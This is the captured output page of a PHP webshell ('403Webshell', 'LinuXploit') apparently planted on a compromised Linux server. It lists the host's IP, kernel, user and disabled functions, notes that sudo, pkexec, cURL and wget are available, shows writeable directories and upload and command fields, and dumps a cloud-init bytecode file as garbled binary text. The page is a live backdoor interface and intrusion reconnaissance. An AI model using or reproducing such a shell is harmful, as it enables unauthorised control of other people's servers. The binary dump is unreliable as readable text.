403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.7/site-packages/cloudinit/cmd/devel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/site-packages/cloudinit/cmd/devel/render.pyc
�
oB�]c@s�dZddlZddlZddlZddlmZddlmZddlm	Z	m
Z
ddlmZm
Z
dZeje�Zdd	�Zd
�Zd�Zedkr�eje��ndS(
s,Debug jinja template rendering of user-data.i����N(trender_jinja_payload_from_file(tlog(tINSTANCE_JSON_FILEtINSTANCE_JSON_SENSITIVE_FILEi(taddLogHandlerCLItread_cfg_pathstrenderc	Cs||s!tjdtdt�}n|jddtdd�|jdddtdd	�|jd
ddd
dtdd�|S(sBuild or extend and arg parser for jinja render utility.

    @param parser: Optional existing ArgumentParser instance representing the
        subcommand which will be extended to support the args of this utility.

    @returns: ArgumentParser with proper argument configuration.
    tprogtdescriptiont	user_datattypethelps$Path to the user-data file to renders-is--instance-datasXOptional path to instance-data.json file. Defaults to /run/cloud-init/instance-data.jsons-ds--debugtactiont
store_truetdefaults+Add verbose messages during template render(targparsetArgumentParsertNAMEt__doc__tadd_argumenttstrtFalse(tparser((s>/usr/lib/python2.7/site-packages/cloudinit/cmd/devel/render.pyt
get_parsersc

Cs�tt|jrtjntj�|jr7|j}n�t�}tj	�}tj
j|jt
�}|dkr�tj
j|jt�}tj
j|�s�tjd||�|}q�n|}tj
j|�s�tjd|�dSy(t|j��}|j�}WdQXWn%tk
r4tjd|j�dSXy7td|d|jd	|d
|jrbtnt�}Wn*tk
r�}	tjdt|	��dSX|s�tjd|j�dStjj|�dS(
s�Render the provided user-data template file using instance-data values.

    Also setup CLI log handlers to report to stderr since this is a development
    utility which should be run by a human on the CLI.

    @return 0 on success, 1 on failure.
    is4Missing root-readable %s. Using redacted %s instead.s#Missing instance-data.json file: %siNsMissing user-data file: %stpayloadt
payload_fntinstance_data_filetdebugs$Cannot render from instance data: %ss#Unable to render user-data file: %s(RtLOGRRtDEBUGtWARNINGt
instance_dataRtostgetuidtpathtjointrun_dirRRtexiststwarningterrortopenR	treadtIOErrorRtTrueRtRuntimeErrorRtsyststdouttwrite(
tnametargstinstance_data_fntpathstuidtredacted_data_fntstreamR	trendered_payloadte((s>/usr/lib/python2.7/site-packages/cloudinit/cmd/devel/render.pythandle_args(sJ"			

cCst�j�}tt|�S(N(Rt
parse_argsR9R(R1((s>/usr/lib/python2.7/site-packages/cloudinit/cmd/devel/render.pytmainYst__main__(RRR R-t!cloudinit.handlers.jinja_templateRt	cloudinitRtcloudinit.sourcesRRtRRRt	getLoggerRtNoneRR9R;t__name__texit(((s>/usr/lib/python2.7/site-packages/cloudinit/cmd/devel/render.pyt<module>s	1	

Youez - 2016 - github.com/yon3zu
LinuXploit